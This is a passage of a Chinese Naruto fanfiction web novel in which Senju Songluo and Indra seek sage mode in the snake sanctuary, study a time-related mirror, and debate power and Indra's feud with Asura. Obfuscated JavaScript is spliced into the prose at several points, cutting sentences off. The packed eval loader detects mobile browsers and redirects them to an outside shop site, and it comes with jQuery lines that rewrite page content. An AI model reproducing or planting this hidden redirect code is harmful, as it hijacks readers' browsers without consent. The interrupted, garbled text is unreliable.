□□丸半耷拉着眼说:“你不会是想要那群蛇的宝贝吧?我劝你最好不要,那群家伙唯独小气和贪婪的方面跟龙学了十成十,想从他们嘴里要出东西来,你要做好付出百倍代价的准备。” “嗯,我知道啦!哦对了,我接下来要远行,明日开始就不来忍宗啦,帮我跟阿修罗他们说一声啊……” □□丸看着少女飞速离开的背影,深觉这孩子没把自己的话听进去,到时候一定会吃苦头的。 * “什么?!松萝明天要走?” 听到消息的阿修罗大喊着就往外跑。 第二个知道的太藏表示:“我们去送行吧!” 第三个知道的柑奈表示:“我要送点衣服给她!” 第四个第五个……最后集结了三十余人,队伍浩浩荡荡地往忍宗外走去。 “应该就在前面,大师提过山脚有两棵歪脖子树,沿这两棵树在往北走一百米的独栋院子就是她住的地方。” 阿修罗点点头,面向众人,高声:“都准备好了吗?” 众人顿时举起手中的东西,有鸡有鸭,有土豆有青菜,有衣服还有护具,密密麻麻,都是送给这一个月来培训他们的大师千手松萝的饯别礼。 不久,他们就见到了土墙围起来的小院,门扉紧闭,阿修罗作为代表上前敲门。 “叩叩。” 门缓缓开启—— …… “怎么回事?” 本该回到小院的松萝在路边掐着自己的手指,一脸不敢置信。 “我的通灵术怎么失效了?” 咬了五根手指,全都失败了。她一点都没感应到通灵蛇的存在。 问题大了,她不能向蛇问路了。 还是回去问□□丸知不知道龙地洞在哪吧…… ——木门大开,所有人都看到了开门之人。 “因陀罗大人!”有人没忍住惊呼了一声。 “怎么会在这里?” “他只是被逐出了忍宗,又没说不能出现在附近!” “但是这里不是大师的住所吗?” “找错了呗。” 阿修罗神色复杂:“大哥……” 昔日的人们认为的忍宗准继承人,强大、冷酷,但也永远高贵、优雅,至少跟面前这个下巴青茬未刮,因不合身的粗布麻衣露出半截小臂和小腿的人没有一点相似。 两兄弟站在门槛两边,谁也没有往前一步。 “咯咯咯咯” 被绑了一路的母鸡忽然打破了宁静,随着一阵咯哒咯哒的叫声,从身下掉出一个偏白色的鸡蛋来。砸在地上,形成一小滩黄白相间的粘稠液体。 “咯咯” 母鸡发出了畅快的声音。 被这阵动静吸引的人们微微一笑,再回头时,门内已无一人。 * 千手松萝回到院子里的时候,先是被地上堆着的活物们吓了一跳,接着就看到了她亲爱的几十号学员们对她打招呼:“嗨!” 松萝模仿式回应:“嗨!” 搞清楚他们是来为她送行的之后,松萝心里不禁暖暖的,不过,还是要说:“只是暂时出门一趟,说不定很快就回来了。”当然最好是不回来了,抱歉。 跟每个人都讲了一遍她不在时也要勤奋修行,特别是针对各人的薄弱点,趁此机会,她又说道了一回。 走到阿修罗面前时,看他欲言又止的表情,就能猜到刚刚发生了什么。 松萝微微一笑:“你虽然有很大的潜力,但不能一直手下留情。拳头大才是硬道理,特别是对于只认力量且脑子转不过弯的人,我的建议是先全力将他打服,这样他才能认同你,你们才能平等对话。” 阿修罗有种被当傻白甜的感觉,其实他早已做好觉悟,但,被人关心的感觉真不赖,希望大哥身边也能有人关心他。 他最后开怀一笑:“再见面时跟我比试一场吧。” “好!” * 因达果然不见了,到晚上也没出现。 不管他了。 松萝按照□□丸给的地图,去往通灵蛇常出没的沼泽地。 龙地洞,和妙木山、湿骨林并称为三大秘地,传说是仙人开辟的地方,只有在那里才能学会仙术。 六道仙人虽然被称为仙人,跟开辟三大秘地的仙人却不是同一人。那是更为古老的,没有人知道的存在。 松萝一到沼泽地就开始寻找蛇影,多时无果。 天色将暗时,她终于看到一个白影,伸手去抓。 抓是抓到了,触感有些奇怪。 温热的,骨节分明的,粗壮的,这分明是人的手腕啊。 意识到这一点之后,眼前的景色忽然像镜子一样碎掉了,灰暗的沼泽地消失不见,取代的是一望无际的荒野。 她再去看手中之物时,果然是一只手。 “你还要抓多久?” 声音也有点熟悉。 她顺势抬头,看到了一声不吭就出走的人。 他身上已不再是不合身的女士和服,也不知道从哪里弄来一套白色开襟长袍,领子和背后纹满了黑色勾玉,生怕别人看不出来他出自忍宗一样。 背后还绑着两把不知从何而来的长刀,深蓝色的眼线也重归脸上。 松萝想起忍宗留存的画像,简直跟上面一模一样。 ——他对这个装扮到底是有什么执念? 松萝友好一笑,弯着眼睛:“好巧,你怎么在这里呀?” 一路走来都是黄不拉几的土地,附近几十里都没什么特别的景物,排除是在跟踪她这个选项,因陀罗也是为了龙地洞而来吧。 因陀罗觑她一眼,往旁边走去。 呵,无视她是吧。没关系,她最喜欢热脸贴冷屁股了。 “你前几天突然消失,我可担心你了呢!毕竟你还没给我讲完怎么锚定到一个任意的时间点呢,除了有共同的物体,也就是除了锚点外还需要什么呢……” “你不继续讲也没关系,不过就是抹个债务的事情,但是能不能告诉我您打算往哪儿去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240016|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?” “重新见到阿修罗你有什么想法?” 他停住了脚步,紫色虚影环绕上右手,劲风袭来,红瞳隐于其后。 松萝往后一跳,手臂侧举,绿色荆棘紧覆其上,带着凌厉气势迎了上去。 嘴上也不曾停歇:“是恼羞成怒还是悔恨当初呀?” 随着她的话音,覆盖在因陀罗身上的紫色虚影逐渐凝实,短短两次拳脚相加就变成了高大的须佐完全体。 松萝也不甘示弱,几乎是同时完成了木巨人的合体。 辽阔的原野上,两个巨人的撞击发出了沉闷的声响,惊动了天上的飞鸟。 …… 许久之后,天色完全变暗。 因陀罗闭目靠坐在一棵树边,明摆着不想被人打扰。 两人友好切磋一番之后又恢复之前的表面和平,继续寻找沼泽地。 松萝翻了个白眼后去小溪边接水,顺便抓鱼。 □□丸画地图时跟她说过,目的地附近可能会有迷障之类蛊惑人心的东西。想到刚才自己的不同寻常的尖酸刻薄和因陀罗的爆裂易怒,看来沼泽地确实是在附近。 在她走开后,因陀罗突然睁开了眼,盯着她的背影—— “因陀罗大人真的一点都不知道手下留情啊,痛死了…你看到他的表情了吗,充满杀气,太可怕了。” “他虽然是天才,但实在是太可怕了,而且大家都跟不上他…” “忍术上是天才,人情上却是个笨蛋。” “啊哈哈哈哈,说的没错。” ——这个女人不怕他,也不会在背后抱怨他,只会当面阴阳怪气。 跟那些弱者不一样。 没有天生的才能,又没有后天的毅力,何谈变强? 他对忍宗那些人没有什么好感,越是弱者越能吠罢了。 但是……就是这些他瞧不起的人,集体背叛了他,转头支持阿修罗,还将他打入了尘埃。 因陀罗捏紧了拳头,复又闭上眼。 她肯定也是一样的,没有必要浪费精力在别人身上,他现在最重要的事是变强,学会仙人模式,然后回去报仇。 “力量才是一切。” 松萝好像听到有什么声音,回头看了一眼,却什么也没发现。 “扑通!” 松萝整个人跌入水里,溅起超大的白色水花,她挣扎几下才将头探出来,抹了把脸,拨开湿漉漉的头发,有一点懵。 刚刚打架用掉太多查克拉了,有点控制不好双脚的平衡。 “再来。”她给自己打气。 当她快乐地在水里扑通扑通的时候,被吵得无法休息的因陀罗睁开了眼睛,皱着眉看了一会儿,向林中深处走去了。 没过一会儿,天就黑了,松萝这才想起来自己身在何处,目的为何。回头看到因达已经生起了火,在烤兔子。 她抓着一条鱼从湖面中央走过去,踏到草坪上时,水滴答滴答地落下,形成一条蜿蜒的水道。 干脆脱下外衣放在一边烤火,挤了挤衣角的水,然后梳理起头发来。 等松萝干完一切时,兔子也烤好了,诱人的香味之下手里的鱼不香了。 她眼巴巴地凑过去等因达分一半给她时,却被凉凉的嗓音拒绝了:“要吃自己去抓。” 松萝:……听我说,出门在外,男人都是靠不住的。 64.第 64 章 吃饱之后,因陀罗破天荒地主动开口:“你觉得忍术是什么?” 松萝挑了挑眉,回答:“以前觉得是战争的道具,现在嘛……大约是我的玩具吧。” 听到前半句他还认真地竖起耳朵,等听到后半句,因达只觉得问错了人。 他在幼时发明了印,让多数的普通人也能用查克拉放出术,而不只是强身健体。那个时候他还曾担心过忍术会被用于争斗,没想到过去了不过区区十年,这个猜想变成了现实,还是通过自己的手,真是讽刺。 奇妙地,松萝看他反常的表情,一下子就猜到了他的心理活动,劝解道:“我觉得忍术是个好东西,这么有趣又实用的东西若是没被发明太可惜了,特别是影分身,能一边吃一边玩,简直不要太方便!” “影分身?” “之前就觉得奇怪了,你不是忍宗的人,从何得知那么多关于查克拉的事情,还有一些我未曾听闻的忍术。你,到底来自哪里?” 他会发现并不令人惊讶,但是松萝以为他不会在意她这个无关紧要之人的事呢。 “为了让你不被孤立得只剩一个人,本大人从一千年以后的世界而来,你信吗?” 因达:“谎话连篇。” ——嗯,正常反应。 但她不打算放过因达:“我跟你讲哦,一千年后会忍术的人都成为了忍者哦,其中最强大的是千手一族哦,也就是我的族人们,厉不厉害,怕不怕?第二有名的是宇智波一族,他们有写轮眼哦,但比起我们千手弱了不止一点半点,我大哥英勇神武,一个人去就能吊打他们一族人了……” 接着她从怀里掏出那张自己还原的救命符:“只要你能解读出上面的咒印,就能穿越到千年之后,带领你的后代打倒千手,重归绝对王座哦,怎么样?有没有一点想解读它的意愿了啊?” …… 第二日,两人合作开始了搜索,为了不像昨天那样莫名其妙打起来耽误时间,千手松萝被勒令闭上了嘴巴。 闭嘴战术还是挺有效的。 就没多,因陀罗就破解了障眼法,找到了真正的沼泽地。 再用稍微粗暴了一点方法找到了隐藏在石头后的小蛇,威逼加利诱,与龙地洞的通灵蛇签订了契约。 写下名字的时候松萝还产生过一丝担忧,她这样能行吗? 之前就稀里糊涂地能通灵,来到这个时代后又稀里糊涂地失去了跟通灵兽的联系。 不过当写完名字之后那股联系重新出现时,她就知道,通灵术又回来了。 难道…… 她心里冒出一个猜测,但是不是深思的好时机。 小白蛇施展逆通灵之术召唤,两人所在的原地留下一阵白雾。 场景变换,四周变为了黑灰色的岩石,头顶的石壁还在湿答答地往下滴水,他们在一个石洞里。 两排火光自动亮起,照亮了前进的也是唯一的道路。 手腕处传来冰凉的痒意,一条白色的小蛇从松萝的衣袖里钻出来,在她手腕上盘了两圈,扬起拇指大小的头颅——这就是刚刚被他们抓到的倒霉蛇——说道:“一直往前走,通过试炼就能见到长老了。” 因陀罗微微颔首,就沿着幽蓝光指示的路走去。 “你们……”小白蛇嘶嘶两声,细弱的声音抬高了几分,“之前有许多跟你们一样追求仙人的力量的人到达了这里,但他们没有一个人活着出来。你们,不怕死吗?” 说到最后一句的时候,小白蛇的声音带上了颤抖,只有他知道他的同类们是多么的狠毒残忍,他们从破壳起就开始争斗,胜者生,败者亡,他也是败者,只不过侥幸活了下来罢了。他们设置的试炼根本不是为了让人通过,而是为他们提供口粮罢了。 前方的身影没有因为小白蛇的“恐吓”而停顿,松萝虽不喜欢滑腻腻的爬行动物,但此刻也不得不承认这条小白蛇善良得可爱。见他忽闪忽闪的红眼睛里满是担忧与害怕,她用指腹摸了摸他的脑袋当作安慰,弯腰将他放到地面,笑了笑说:“等我们出来。” * 昏暗、阴湿,加上时不时传来的诡异笑声,让这段路变得格外漫长。 松萝不由得快走几步,当前方的白色衣角在触手可及的范围内时才暗暗吐出一口气。 她正要开口搭话,因陀罗却突然停下了。 “怎么了吗?” 她顺着他的目光向前看去,空荡的洞里什么也没有。 因陀罗嘴角上扬,溢出一声嗤笑,两手握住背上的刀剑柄,猛地向前冲去。 松萝来不及阻止,只听到了他嘴边的呓语——“阿修罗”。 因陀罗在无人的空地飞舞拳脚,双刀在石壁划出道道深痕,怎么看都是中了幻术。 这家伙这么不靠谱的吗?没时间给松萝在内心吐槽,因为她深知因陀罗如果放开手脚,这个洞肯定经不住,她可不想被瓦砾活埋。 “快停下啊,因陀罗,你清醒一点!” 松萝一边喊一边试图追到他身边,却不想他突然朝洞里深处飞奔而去。松萝虽然急忙追上去,却还是跟丢了。 站在一个三岔分路前,松萝顿住:“……这可怎么办啊。” 她选了正中间,硬着头皮走了进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还未等松萝回答,白蛇继续用它年轻的声音说道:“不,人类不会蜕皮。有点奇怪的人类哟,我要恭喜你通过了试炼。” 说完它大嘴一张,露出雪白的尖牙,朝着松萝咬下去。 松萝不躲不闪,尖牙刺入肩胛的时候,她感到一股冰凉的液体流入了身体,游走到五脏六腑,舒服地令她想尖叫。 片刻之后,白蛇抽离,用一股难言的眼神打量着眼前的人,它本来只打算注入一点仙术查克拉的,没想到却像被吸走一样大量涌入女孩的身体,当真有些诡异。 如果六道仙人在场的话,说不定会拍拍白蛇的脑袋,露出“我懂”的表情吧。 但是老祖宗的规矩不能废,只要是通过了试炼的人,就应当助他们学会仙人模式。 “我已经向你注入了仙术查克拉,你可以根据这个来感知自然的力量,我会为你讲解如何进入仙人模式……” 在此之前,松萝还有其他问题,她打断白蛇:“等一下,跟我一起进来的那个男人呢?” “他还在试炼中。” 65.第 65 章 松萝:“那,请问我可以借用一下你们的国宝吗?听说是与时空相关的东西?” “啪”蛇尾忽然打在地上,发出巨响,白蛇眯了眯眼,很是不悦:“人类!” 松萝立刻放低姿态:“您别误会,我没有什么坏心思,我来自千年以后,因为意外来到了这个时代,所以想借贵国的国宝一用,看能不能让我回去?” 白蛇后退回到座位上,靠在座位扶手上,颇有几分居高临下:“我们的国宝是一面镜子,名为“镜影”,在镜中界修行一日,如同百日,确有加速时间的能力,但你说的穿越到未来的能力别说镜影做不到,我活了数百年,从未听闻有什么能办过。就算你真的来自千年以后,怕是也回不去了,歇了这心思吧。” “怎么会这样……”松萝咬咬牙,又一重希望破灭的滋味不是很好受,但她仍抱有期望,“那能否借我研究一下,也许我能从其加速时间的功能中获得一些启发呢?” 白蛇盯她了一会儿,最终松口:“可以,但必须在这里,不能带到人类世界。而且有期限,一个月之内,你若没有学会仙人模式就会被我的部下吃掉,而这一个月之内,你随时可以研究镜影。” “成交!” 作出期限约定之后,白蛇将一面银镜交给了松萝,并叫来了一条跟松萝差不多高的绿蛇“米朵丽姬”,让她指导松萝仙人模式。 米朵丽姬摇曳着身姿,在前方带路:“听说你让那个高傲的市杵岛姬吃了个大瘪,她设下的陷阱一点都没困住你啊?” “什么?” 米朵丽姬笑起来:“哈哈,你甚至都没意识到吗,那些黑色晶体会吸收查克拉,若你在坑洞里查克拉耗尽,就会成为市杵岛姬的食物啊。” 松萝惊讶,她完全不知道有这么一回事,但是也没觉得有什么查克拉消耗啊。 “算了,不说那个讨厌的家伙了,我来教你仙人模式吧,你既然已经接收过仙术查克拉那就很容易了。一会儿到了训练场打坐,感受一下周围的大自然之力,把它们引到体内吧……”米朵丽姬的声音突然停下了,她回过头,看到身后之人明明在走路没有在打坐,却有紫色的自然之力汇入她的气穴,瞬息之后,这个人类身上的气息就变了。 松萝:“……好像视野突然变清晰了?” 岂止,听觉也更灵敏了,嗅觉也更敏感了,身体也更轻盈了…… 仙人模式是这么简单就能学会的东西吗? 果然是大哥当初的方法不适合她,她是天才,嗯。 米朵丽姬实在没想到自己的任务在还没有走出寺庙之前就结束了。 她从未听闻过有如此天赋的人类,连通灵兽也不可能在这么短的时间内学会。就好像查克拉的运用对她来说是什么比呼吸更简单的事情一样。而且她的脸上也没有出现任何蛇鳞和纹路,证明了这是多么完美的仙人模式。 米朵丽姬深吸一口气,努力维持微笑:“看来你已经学会了,那很好,我带你去这一个月的住处吧。听白蛇大人说,你要在这里研究一下我们的国宝是吗……” 松萝一边乖巧地跟着她走,一边在想因陀罗到底行不行,能不能通过试炼。 ……因陀罗自然也是通过了试炼了的。 他们俩再次见面的时候,已经是晚上,松萝换了一身轻便的白衣,举着筷子,惊讶于他灰尘满身的样子,不带嘲讽地问:“你带换洗的衣服了吗?” 换来一句呵呵哒和一个大白眼。 松萝:……好心被当驴肝肺。 * 因陀罗和千手松萝被安排住在相邻的两个坑洞里——龙地洞因为都是通灵蛇的缘故,住所全都是地下的坑洞——好在里面家具俱全,还算适合暂住。 松萝仰躺在石床上,举着银镜观察,镜子的轮廓由两条蛇盘旋而成,尾部相交组成手柄,头部相抵位于镜首。 依白蛇仙人所言,只要向内注入仙术查克拉便可进入一个异度空间。 异度空间里的流速是外界的百倍,是修行的好去处,但同样的身体老去的速度也是一百倍,对于岁月悠长的部分生物而言也许是宝贝,但对于生命有限的人类而言,更接近于一个索命道具了。 她往镜子中注入仙术查克拉,随即一股巨大的拉力袭来,场景变换,从黑暗的坑洞变成了一个绿色的湿地。 一眼望去,全是一样的景色,大片大片的菖蒲生长在水边,中间是一个圆形的巨型的池塘。 “唔……总之先转一圈吧。” 松萝朝着一个方向奔跑了一段时间才到达池塘的另一边,但是景色只是单纯的重复,似乎没有什么特别的地方可以探究。 既然是查克拉道具,应当有阐明原理的咒文封印在内才是。 松萝思考一瞬,决定换个方向进行探索——池塘底部。 以蛇钻地的习性,也许往下能找到答案。 在向下深入了不知道多久之后,她果然见到了一排排绿色的咒文被刻印在地上。 看不懂。 她决定暂时退出,找纸笔抄录下来后再去问因陀罗。 等抄录完整个池塘底部的咒文时,一月之期已经过去了一半。 她收拾好东西,立刻循着因陀罗的查克拉奔去,时间不多了,她需要借他的脑子一用! “没空!” 松萝:???你不是正在悠闲地吃饭呢么你跟我说没空? 因陀罗最终还是瞥了一眼松萝手中抄录的东西,歪歪扭扭的字符让他皱起了眉头:“这是上古的文字,就算是我也需要一段时间去翻译。更何况,我为什么要花时间花精力去做这种事情呢?” 松萝有被他气到,重哼一声离开去找白蛇仙人。 “上古的文字啊,老夫也看不懂,据我所知,这种文字早已失传,人类世界更是早就断了传承……” …… 松萝坐在一块岩石上,叹了一口气,兜兜转转难道还是要回去求因陀罗吗? 且不提他来这里修行就是为了回去跟阿修罗开战的,因陀罗本身也不是个好相与的人。他注重规则,注重弱肉强食,高傲自负,嫉恶如仇,这样的他本就不是有求必应型的人,若要他帮忙,怕是得拿出同等重量的条件。 因陀罗,因陀罗,因陀罗!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258068|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 松萝狂抓头发,内心忿忿。 “遇到什么难题了吗?”正在松萝狂抓头发之际,银铃般的轻笑声由远及近,是绿蛇米朵丽姬。 最近半月她接触最多的就是米朵丽姬了,虽然看着跟别的蛇一样冷漠,实际上却是豆腐心的类型呢。 松萝将抄录下来的咒文递给她,说出了自己的烦恼。 米朵丽姬晃了晃身后的尾巴,表示无能为力:“我从来没见过这样的文字,最有可能知道的还是□□洞里的老□□,他们的国宝就是一张画着歪歪曲曲线条的符咒,不过听说也是远古的遗留物了,□□洞估计也没人知道……” “这样啊,谢谢你啊。”可惜□□丸那边她已经试过了。 米朵丽姬快速摇了两下尾巴,被人感谢她还是头一遭,洞里的蛇们可不会这么亲切地说谢谢,她笑得更真切了一些:“晚饭想吃什么?我去给你找。” 松萝有点小惊讶,他们在龙地洞修行,虽然有住所,但吃喝都是不提供的,大部分时候只能在附近挖野草。 既然有这个机会,她也不推辞,拜托米朵丽姬找些普通的人类饭菜来。 “要两份。” 虽然因陀罗冷酷无情不帮她,但她倒不至于在这种事情上使心眼。 米朵丽姬听了,眼珠子朝练武场转去,滴溜一圈又转回到松萝脸上:“我听说那人是被忍宗打出来的吧,几个月前的地动有不少出去历练的蛇都感受到了,你跟他什么关系啊?” “嘘——”松萝环视一圈,确认因陀罗不在附近,才压低声音说,“你可别在他面前这么说,他这个人看似高傲,其实也脆弱着呢,那次被打败的事情都快成他阴影了。” 想起刚进来他就中了跟阿修罗打斗的幻术,可不就是把这个事情看得太重了嘛,一个弄不好就容易炸毛。 “什么!他这么……”本想嘲讽一下因陀罗的米朵丽姬突然想起来他这几日展现出来的远高于自己的武力值,决定还是闭嘴,接着说起了别的,“我还听说他在忍宗里面一个支持他的人都没有,才导致继承人位置被弟弟夺走的,这么不受人待见吗?” 松萝:……你们蛇也这么八卦吗? 松萝:“我没那么清楚,也只是听说,因陀罗跟人切磋从不手下留情,善恶分得太清楚,不给人留一点情面,还有他的眼睛和力量过于强大,所以……” 松萝想到了某个人,停顿了一下,才接着说:“出现了许多畏惧他的人。” “身居高位者本来就应该足够强大,被人敬畏,有什么问题吗?我还以为他是因为别的什么不受待见呢,就这?”龙地洞里力量至上,胜者为王,不择手段也要达成目的,与人类的世界观有一定偏差。 松萝无奈一笑,解释起来有点麻烦,想想还是算了,于是便顺着她的话说:“是啊,他这么强大,本就该登顶。若非自身弱小,也不会怕因陀罗,是忍宗的人站错了队伍。” 米朵丽姬听完撇嘴:“不过他还是输了,真没用。算了,我先走啦。” 松萝被她一百八十度不停反转的态度搞得无话可说,独自一人继续坐在石头上看咒文。 66.第 66 章 “叩叩!” “有人在吗?” 没有得到应答,松萝只得不礼貌地推开了门,将热乎乎的饭菜放在石桌上。 随即她发现桌上有张石头压着的白纸。露出的白纸的一角上是黑色的扭曲字符,略微有些眼熟。 她心虚地看了一下半掩的门,伸手去拿张白纸。 中间大大的一个“仙”字,松萝拿出怀里的东西,均放在桌上,来回巡视,挑了挑眉。 说什么费时费力不想研究,结果偷偷在这自己画符。 松萝心里哼了一声,将从怀里拿出来的那张放到饭盒下面,另一张重新用石头压好,离开了这个坑洞。 第二日她照样拜托米朵丽姬寻人类吃的饭菜来,在同样的时刻放到了隔壁的坑洞。顺便将近日抄录的湖底咒印也一并压在了饭盒下面。 因陀罗看到再次出现在自己房间的“不速之物”时,什么也没说,只是缓缓打开,一边吃饭一边看了起来。 * 剩下的半月之期也很快过去,还想多留一阵子的松萝也被赶了出去。 她跟在因陀罗的身后颇有些垂头丧气。 “你跟着我做什么?” 松萝颇有些气愤,这个闷骚明明就在研究咒印,她每天都会进他房间放新抄下来的一段,偏偏装作不知道一样。 “明知故问!那些咒印怎么样,能不能让我穿越时空?” 因陀罗停下脚步,转身,皱眉问:“你为何执着于此?” 来历不明,招式不明,话语疯癫,却颇有忍术天分的女子——这是因陀罗对她的印象。 上次能从忍宗里带出他著的几本书,证明了这个女子能自由出入忍宗,并于其交好,更别说后来阿修罗……对于叛逃忍宗的他来说,这个女子就是敌人。 她又何来的自信自己不会攻击她? 处处透露出奇怪。 松萝:“我不是说了我来自千年以后嘛,你的后人是宇智波一族,现任族长叫宇智波斑,我跟他是一个时代的。” 又是这种疯言疯语,他是不可能相信的。 因陀罗认定了她没有说实话,不愿再接着交流。他现在前往的是北部的一个氏族,那里有从忍宗出去定居的家族,是他的拥护者。曾经是,现在未知。 若要从阿修罗手中夺回他应有的位置,兵力是必不可少的。 他不再理会松萝,踏上了往北的路程。 * “下雪了啊,这个冬天的雪来得有点早啊。” “是啊,会有些难捱吧。我要赶紧回家收拾收拾柴火了。” 两个本来在垂钓的男人看到下雪后,急忙收拾渔具,赶回家族的聚居地。 聚居地外围着篱笆,大门只有一处,往常都没什么人来往,而现在他们看到有一群人拿着武器,围在一起不知道在做什么。 两个男人对视一眼,赶紧跑过去。 等走进了,说话声也就变清晰了。 “因陀罗大人,您还是离开吧,自从您叛出忍宗之后,我们也不好过。那边认定我们与您有联系,把平常的交易来往都给断了……” “是啊,您看这雪马上就要入寒冬了,我们连御寒之物都没凑齐,实在没有余力参与到您与阿修罗大人的争斗之中……” 竟然是失踪的因陀罗大人,两个男人一惊,同时也感到棘手起来,蹑手蹑脚地走进查看情况。 只见人群中间站着一男一女,一个便是很好辨认的因陀罗大人,而另一个,身披厚实的白色斗篷,头上是一顶毛毡帽,露出的半张脸年轻俏皮,像是出来郊游的大家闺秀。 不过他们没有心思关注女子是谁,因为脸色越来越差的因陀罗隐隐有爆发的趋势,所有人都紧张地握住了手里的东西。 就在气氛焦灼达到顶点的时候,那个女子上前一步,按住了因陀罗微微抬起的右手:“走吧,我们得在雪下大之前找到落脚处。” 两人莫名就着接触的手背较劲起来,一个往下按,一个往上提,因陀罗盯着松萝的眼神越发不善,瞳仁微微泛红。 僵持了一会儿,因陀罗甩开了她的触碰,将头瞥向一边。 松萝暗自松了一口气,向同样觉得逃过一劫的围观群众要了两件蓑衣和干粮,然后跟因陀罗一起走在了雪中归路上。 只是,不幸的是,这场雪来得有些猛烈,隐隐有化作暴风雪的趋势,来不及回到上一个可以借宿的地方,松萝只能就近在山坡中部砸出一个洞来,跟因陀罗一起躲了进去。 她寻了些树枝浅浅堵住洞口,防止大风吹进来,又将蓑衣铺在地上,一人一个可躺下休息的位置就有了。 松萝做完一切准备工作靠在山洞壁上偷瞄因陀罗。 从离开那个聚居地到现在,他没有讲过一句话。 任谁被以前向他效忠的人群提着武器“请”走,都会不爽的吧。 他看上去比之前更冰冷了,生人勿进的气息怕是能把百米外的小动物给吓跑。 静默了一会儿,因陀罗问:“你何必再跟着我?” 是了,在来这里的途中,他已经将咒印解读,并将所有能教的空间理论都告诉了松萝。 他身上已经没有了可以图谋的东西。难道她是要充当阿修罗和老头子的眼线吗? 因陀罗开口说话的时候松萝立刻收回偷瞄的眼神,装作才看向他的样子。 松萝倒也没有特别的理由要继续跟下去,她这几天也确实产生了告别的念头,只是对一件事还是有些纠结:“你真的不能跟阿修罗和解吗?没有战斗以外的方式吗?” 这么多年,她看着千手和宇智波之间的争斗,时常为逝去的人惋惜,他们两族的常年累积起来的仇恨已难以消解,但因陀罗和阿修罗是亲兄弟呀,难道真的要到你死我活的地步才能化解这次的恩怨吗? 因陀罗对此态度很是坚决:“是那个老头挑起的一切,我要用力量压倒他们,让他们明白那日的选择错的有多离谱。” “可是力量不能说明一切。”松萝试图跟他讲道理,“当所有人都站在你对面的时候,也许不是力量强弱的问题呢?因陀罗你很强也很聪明,我听说你很小的时候就创造了忍术和结印方式,那时若让人们从你和阿修罗之间选继承人,一定会选你不是吗?但是现在为什么不一样了,到底哪里不一样了呢?” 松萝换了个方面继续讲道理:“以你的才智和天赋,可以选的未来有很多,证明他们选择错误的方式应当不只有这一种吧。“ “不是所有人。”沉默的地听完松萝的话,因陀罗只说了这一句。 也曾有人坚定地站在他这边。 但是…… ——失去亲近之人时,写轮眼会进化。 他为了获得这双万花筒,亲手杀死了两个自始至终追随他的人。 因陀罗停顿了一会儿,问松萝:“你也站在阿修罗那一边吗?” 他的语气平平,倒没有多少质问和威胁之意,彷佛真的只是好奇一样。 “不,”松萝笑笑,“我只站自己,谁对我好我就对谁好。” “哼”,因陀罗轻笑一声,又似嘲笑,又似不信。 “唉,因陀罗你总是话说一半,剩下的全让人去猜,这一点就比较像我一个朋友了,但是我跟他相处的比较久所以基本上能猜出来他的意思,但你我就不了解了。你还是想到什么就直接指出来吧。” 这是松萝真诚的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290230|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议。 这段时间相处下来,其实会发现因陀罗只是注重规则了一些,高冷了一些,并不是个滥杀无辜、没有底线的坏人。 忍宗继承人这件事松萝也没什么资格评价,只不过…… “对于你要夺回忍宗之主之事我是持赞成意见的。” 听到这句话,因陀罗颇有些诧异地转过了头。 松萝:“我大概也听说了一些,唔…既然这么多年来都是默认由你接任忍宗的话,突然变卦是有些不厚道。当然演变成现在这样的局面,你也许应该反思一下是不是自己实在太自负了,导致没有听到忍宗里异样的声音之类的……” “但是,只用武力肯定是不对的!” “唉,你和阿修罗的想法要是能中和一下就好了,明明是亲兄弟,为什么不能多交谈一下呢,我大哥和二哥虽然也经常想法不同,但永远都会为对方着想。都是为了忍宗的未来,为什么你们就不能各退一步,认真倾听一下对方的想法呢?” 倾听对方的想法? 因陀罗嗤笑一声:“阿修罗一直说我是他最崇拜的人,他会辅助我管理忍宗,但是到了那一刻呢,他背叛了他的诺言。” 曾经他最爱的亲弟弟,为了不相干的外人与他离心,用传承自老头的力量一夜之间忽然变强,那些原本还因为阿修罗自身能力不足而感到犹豫的众人,也因为他的突然强大而背叛了自己。 因陀罗继续说:“如果阿修罗只是一个手无缚鸡之力的“爱”的传教者,会有多少人听他的呢? “说到底不还是因为力量。强大的力量有哪里不好,最起码它不会背叛自己,能助自己获得想要的东西。那些家伙畏惧我,何尝不是因为太弱小。 “只要他脑子里还存在着用爱感化人心的想法的话,我们就永远不可能和解。” 松萝张了张嘴,竟发现自己难以反驳。 要想让别人听的进去自己的主张,首先要用绝对的力量让对方臣服…… 这跟她自己一直以来的想法不谋而合——拳头大的人才能制定规则。 千手和宇智波同盟的强大才能让忍界止戈,无名小卒的话无人会听,但千手柱间和宇智波斑的话却重如雷响。 